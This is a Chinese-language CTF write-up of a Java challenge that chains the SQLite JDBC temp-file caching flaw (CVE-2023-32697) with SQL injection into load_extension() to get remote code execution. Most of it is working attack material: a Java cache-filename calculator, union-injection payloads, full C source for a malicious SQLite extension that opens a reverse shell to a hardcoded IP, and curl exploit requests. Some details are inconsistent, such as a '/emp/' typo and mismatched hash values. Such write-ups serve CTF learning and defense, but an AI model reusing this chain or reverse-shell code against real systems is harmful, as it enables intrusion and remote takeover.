前言
从今年国赛的一道java题遇到了sqlite数据库去打jdbc达到RCE的姿势,故笔者写篇文章记下
复现
反编译源代码可以看见这三个数据库
这里提供了mysql sqlite psql 但mysql和psql都不行 这里我们用sqlite去打
jdbc就可以执行load_extension()
CVE-2023-32697,这个洞其实就是sqlite数据库⽂件的缓存⽂件在tmp⽬录下⽂件名是已知的,直接
通过以下脚本跑
package org.example;
import java.net.MalformedURLException;
import java.net.URL;public class filename {public static void main(String[] args) throws MalformedURLException {String so = "http://vpsip:port/poc.so";String url = so;String filename = "/tmp/sqlite-jdbc-tmp-"+newURL(url).hashCode()+".db";System.out.printf(filename);}
}
接着sqlite.getTableContent这⾥能够SQL注⼊,直接联合注⼊执⾏load_extension
"tableName":"user union select 1,load_extension('/emp/sqlite-jdbc-tmp--39093542.db');-- "
就能加载恶意的so文件
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h>SQLITE_EXTENSION_INIT1/* Configuration for the TCP connection */
int tcp_port = 5555;
char *ip = "129.204.197.19";#ifdef _WIN32
__declspec(dllexport)
#endif/*** Initializes the SQLite extension.** @param db SQLite database pointer* @param pzErrMsg Error message pointer* @param pApi SQLite API routines pointer* @return SQLITE_OK on success*/
int sqlite3_extension_init(sqlite3 *db,char **pzErrMsg,const sqlite3_api_routines *pApi
) {int rc = SQLITE_OK;SQLITE_EXTENSION_INIT2(pApi);/* Establish a TCP connection and spawn a shell if running in a child process */int fd;if ((fork()) <= 0) {struct sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(tcp_port);addr.sin_addr.s_addr = inet_addr(ip);fd = socket(AF_INET, SOCK_STREAM, 0);if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) {exit(0); // Exit if connection fails}// Redirect standard file descriptors to the socketdup2(fd, 0);dup2(fd, 1);dup2(fd, 2);// Execute bash shellexecve("/bin/bash", NULL, NULL);}return rc;
}
这个是反弹shell的sqlite恶意拓展
gcc -g -fPIC -shared poc.c -o poc.so
编译好之后之间放在远程服务上让其建⽴缓存
curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/poc.so\",\"tableName\": \"security\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect
这个时候 /tmp/sqlite-jdbc-tmp-840682179.db⽂件就写⼊进去了,接着创建⼀个正常的带user表
的sqlite数据库⽂件放到服务器上让其进⾏连接
接着传⼊table参数进⾏sql注⼊
curl --header "Content-Type: application/json" --request POST --data "{\"type\": 3,\"url\": \"jdbc:sqlite::resource:http://vpsip:port/111.db\",\"tableName\": \"user union select 1,load_extension('/tmp/sqlite-jdbc-tmp
--39093542.db')\"}" http://pwn.challenge.ctf.show:28130/jdbc/connect
至此攻击完成